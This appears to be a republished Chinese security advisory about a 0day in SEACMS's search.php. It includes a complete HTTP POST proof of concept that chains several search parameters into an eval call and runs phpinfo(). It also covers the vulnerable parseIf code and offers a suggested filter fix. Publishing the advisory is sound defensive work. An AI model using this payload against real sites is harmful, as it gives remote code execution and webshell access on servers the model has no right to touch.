漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警

概述

最近我们的一名安全托管客户反应,其服务器遭受到攻击,被黑客上传了webshell并篡改网页内容。经过我们为客户安装云锁防护软件后,拦截到一个针对海洋CMS(SEACMS)的0day漏洞。

海洋CMS是一套专为不同需求的站长而设计的视频点播系统,在影视类CMS中具有很高的市场占有率,其官方地址是:http://www.seacms.net/

海洋CMS(SEACMS)几个老漏洞及其修补方法

在2017年2月,海洋CMS 6.45版本曾爆出一个前台getshell漏洞,漏洞具体内容参见:http://blog.csdn.net/qq_35078631/article/details/76595817。该漏洞成因在于search.php没有对用户输入内容进行过滤,导致攻击者提交的order参数可进入parseIf函数中执行eval。

官方在6.46版中修复了该漏洞,修复方法是对用户输入的参数进行过滤并限制长度为20个字符。但这种修复方法并没有完全修复漏洞,因为在替换操作过程中用户输入的几个参数可以进行组合,因此补丁被绕过。

随后官方又在8月7日发布了6.54版本再次修复漏洞,这次修复增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order参数只能是固定内容,这样虽然避免了通过order参数进行的攻击,但是却没有解决其他参数进入parseIf函数的问题。

海洋CMS(SEACMS)0day漏洞分析

我们抓取到的攻击payload(POC)如下:

POST /search.php HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Connection: keep-alive
Upgrade-Insecure-Requests: 1

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

可以看到,攻击入口已经不在是order参数,我们来看一下search.php中的搜索实现过程:

function echoSearchPage()
{
......
    $content = str_replace("{searchpage:page}",$page,$content);
        $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
        $content = str_replace("{searchpage:ordername}",$order,$content);
......
    $content = str_replace("{searchpage:year}",$year,$content);
        $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
        $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    ......
        $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
        $content = str_replace("{searchpage:ver}",$ver,$content);
......
    $content=$mainClassObj->parseIf($content);

可以看到,代码中对html中的searchpage标签进行了多次替换,而攻击者也正是利用了这一点,在多次替换过程中使多个参数共同组合成最终的payload,这样既绕开了RemoveXSS的过滤又绕过了20字节的长度限制。 在对参数进行了替换之后,content中已经包含了如下攻击payload:

if:eval(join($_POST[9]))

在随后的POST数据中攻击者又利用9[]把真正的payload利用base64_decode传入。最终$content内容被传入parseIf函数。在parseIf函数中判断含有if:标签,就会调用eval来执行该内容,从而导致了攻击者的payload被执行。

function parseIf($content){
            if (strpos($content,'{if:')=== false){
            return $content;
            }else{
......
            @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

漏洞修复

根据云锁监测,目前该0day已经被大规模运用,而且攻击者使用自动化攻击脚本对全网SEACMS进行搜索并实施自动攻击。我们已在9月份向CNVD和厂商报告了漏洞详情,但截至2017.10.9,SEACMS仍然未发布该漏洞的补丁。建议SEACMS用户立即安装云锁并开启文件防上传功能,可暂时避免被自动化程序攻击。或在echoSearchPage()函数中增加一条过滤语句:

if(strpos($searchword,'{searchpage:')) exit;

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-10-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏tiane12

由服务器Destination host unreachable引起的Discuz邮件故障

3056
来自专栏北京马哥教育

解决八种Linux硬盘问题的技巧

#1 - 错误: 设备上无剩余空间 当你的类UNIX系统磁盘写满了时你会在屏幕上看到这样的信息。本例中,我运行fallocate命令然后我的系统就会提示磁盘空间...

6556
来自专栏Zchannel

#Linux新手入门第一期#Xshell——最好的linux系统远程管理软件

Xshell是最好的远程管理软件,没有之一,支持中文,家庭用户完全免费,它支持保存ip、用户名和密码(Public KEY也可以,也就是俗称的公钥),支持各种自...

1381
来自专栏FreeBuf

PowerShell-RAT:一款基于Python的后门程序

今天给大家介绍的是一款名叫Powershell-RAT的Python后门,它可以利用Gmail邮件附件来从目标用户的设备中提取数据。这款RAT可以帮助红队测试人...

1755
来自专栏菩提树下的杨过

maven学习(中)- 私服nexus搭建

接上回继续,相信大家对maven每次都联网从国外站点下载依赖项的龟速网络已经不坎忍受了,今天先来看看如何搭建"仓库私服",目前nexus是使用比较广泛的私服软件...

2678
来自专栏linux、Python学习

如何用几个简单的命令改善你的Linux安全

在这篇文章中,我们讨论了一些可以帮助你加固Linux系统的安全技巧。当然,对于各种运行的服务而言,仍有许多值得加固的Linux安全技巧有待发掘。我希望你能从本文...

1732
来自专栏Java技术栈

WEB攻击手段及防御-扩展篇

之前的文章介绍了常见的XSS攻击、SQL注入、CSRF攻击等攻击方式和防御手段,没有看的去翻看之前的文章,这些都是针对代码或系统本身发生的攻击,另外还有一些攻击...

3149
来自专栏渠道合作伙伴技术圈

Windows server环境下混合云部署DFS文件服务

很多传统企业在设计身份验证和文件服务时,都会使用微软的活动目录和windows server自带的文件共享来实现以上的需求, 公有云的出现给这个场...

78116
来自专栏FreeBuf

快速、直接的XSS漏洞检测爬虫 – XSScrapy

XSScrapy是一个快速、直接的XSS漏洞检测爬虫,你只需要一个URL,它便可以帮助你发现XSS跨站脚本漏洞。 XSScrapy的XSS漏洞攻击测试向量将会覆...

31510
来自专栏编程

挖洞技巧:APP手势密码绕过思路总结

欢迎关注:07v8论安全,技术干货等你来 这是07v8的第5篇技术文章,希望对你有用 挖洞技巧:APP手势密码绕过思路总结 作者:@剑影 * 本文参与双dan投...

2529

扫码关注云+社区

领取腾讯云代金券